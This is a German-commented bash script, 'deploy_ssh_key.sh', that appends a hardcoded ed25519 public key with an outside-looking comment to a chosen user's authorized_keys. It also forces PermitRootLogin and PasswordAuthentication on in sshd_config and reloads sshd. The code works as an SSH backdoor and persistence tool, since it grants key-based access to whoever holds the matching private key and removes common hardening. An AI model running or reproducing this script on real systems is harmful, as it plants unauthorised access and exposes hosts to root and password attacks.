#!/usr/bin/env bash # # deploy_ssh_key.sh # - legt einen vorgegebenen ed25519-Public-Key in authorized_keys ab # - aktiviert PubkeyAuthentication in der sshd_config # - laesst PermitRootLogin und PasswordAuthentication ausdruecklich AN # # Aufruf: # sudo ./deploy_ssh_key.sh [zielbenutzer] # Ohne Argument wird der aufrufende Benutzer (bzw. bei sudo: SUDO_USER) genommen. set -euo pipefail # ---------------------------------------------------------------------------- # Konfiguration # ---------------------------------------------------------------------------- PUBKEY='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF8eXjxLBHZUgZ8QT4ChRxMZ4nEBPpKye70JnM7e5XrY deads@localhosts.onl' SSHD_CONFIG='/etc/ssh/sshd_config' # ---------------------------------------------------------------------------- # Zielbenutzer bestimmen # ---------------------------------------------------------------------------- TARGET_USER="${1:-${SUDO_USER:-$(id -un)}}" if ! id "$TARGET_USER" >/dev/null 2>&1; then echo "FEHLER: Benutzer '$TARGET_USER' existiert nicht." >&2 exit 1 fi USER_HOME="$(getent passwd "$TARGET_USER" | cut -d: -f6)" if [[ -z "$USER_HOME" || ! -d "$USER_HOME" ]]; then echo "FEHLER: Home-Verzeichnis fuer '$TARGET_USER' nicht gefunden." >&2 exit 1 fi echo ">> Zielbenutzer : $TARGET_USER" echo ">> Home : $USER_HOME" # ---------------------------------------------------------------------------- # 1) Key in authorized_keys ablegen # ---------------------------------------------------------------------------- SSH_DIR="$USER_HOME/.ssh" AUTH_KEYS="$SSH_DIR/authorized_keys" install -d -m 700 -o "$TARGET_USER" -g "$(id -gn "$TARGET_USER")" "$SSH_DIR" touch "$AUTH_KEYS" # Key nur hinzufuegen, wenn er noch nicht vorhanden ist (idempotent) if grep -qxF "$PUBKEY" "$AUTH_KEYS"; then echo ">> Key ist bereits in authorized_keys vorhanden, ueberspringe." else printf '%s\n' "$PUBKEY" >> "$AUTH_KEYS" echo ">> Key hinzugefuegt." fi chmod 600 "$AUTH_KEYS" chown "$TARGET_USER":"$(id -gn "$TARGET_USER")" "$AUTH_KEYS" # ---------------------------------------------------------------------------- # 2) sshd_config anpassen # ---------------------------------------------------------------------------- if [[ ! -f "$SSHD_CONFIG" ]]; then echo "FEHLER: $SSHD_CONFIG nicht gefunden." >&2 exit 1 fi BACKUP="${SSHD_CONFIG}.bak.$(date +%Y%m%d%H%M%S)" cp -a "$SSHD_CONFIG" "$BACKUP" echo ">> Backup der sshd_config: $BACKUP" # Hilfsfunktion: Direktive setzen (vorhandene Zeilen ersetzen, sonst anhaengen) set_directive() { local key="$1" value="$2" # auskommentierte oder gesetzte Zeilen (auch mit fuehrenden Leerzeichen) ersetzen if grep -Eq "^[[:space:]]*#?[[:space:]]*${key}[[:space:]]+" "$SSHD_CONFIG"; then sed -i -E "s|^[[:space:]]*#?[[:space:]]*${key}[[:space:]]+.*|${key} ${value}|" "$SSHD_CONFIG" else printf '%s %s\n' "$key" "$value" >> "$SSHD_CONFIG" fi echo ">> gesetzt: ${key} ${value}" } # Keys erlauben set_directive "PubkeyAuthentication" "yes" # Root und Passwort sollen AN bleiben -> ausdruecklich setzen set_directive "PermitRootLogin" "yes" set_directive "PasswordAuthentication" "yes" # ---------------------------------------------------------------------------- # 3) Konfiguration pruefen und sshd neu laden # ---------------------------------------------------------------------------- echo ">> Pruefe sshd-Konfiguration ..." if ! sshd -t; then echo "FEHLER: sshd-Konfiguration ungueltig. Stelle Backup wieder her." >&2 cp -a "$BACKUP" "$SSHD_CONFIG" exit 1 fi echo ">> Konfiguration ok, lade sshd neu ..." if command -v systemctl >/dev/null 2>&1; then systemctl reload sshd 2>/dev/null || systemctl reload ssh 2>/dev/null || systemctl restart ssh elif command -v service >/dev/null 2>&1; then service ssh reload || service sshd reload || service ssh restart else echo ">> WARNUNG: kein systemctl/service gefunden - sshd bitte manuell neu laden." fi echo ">> Fertig."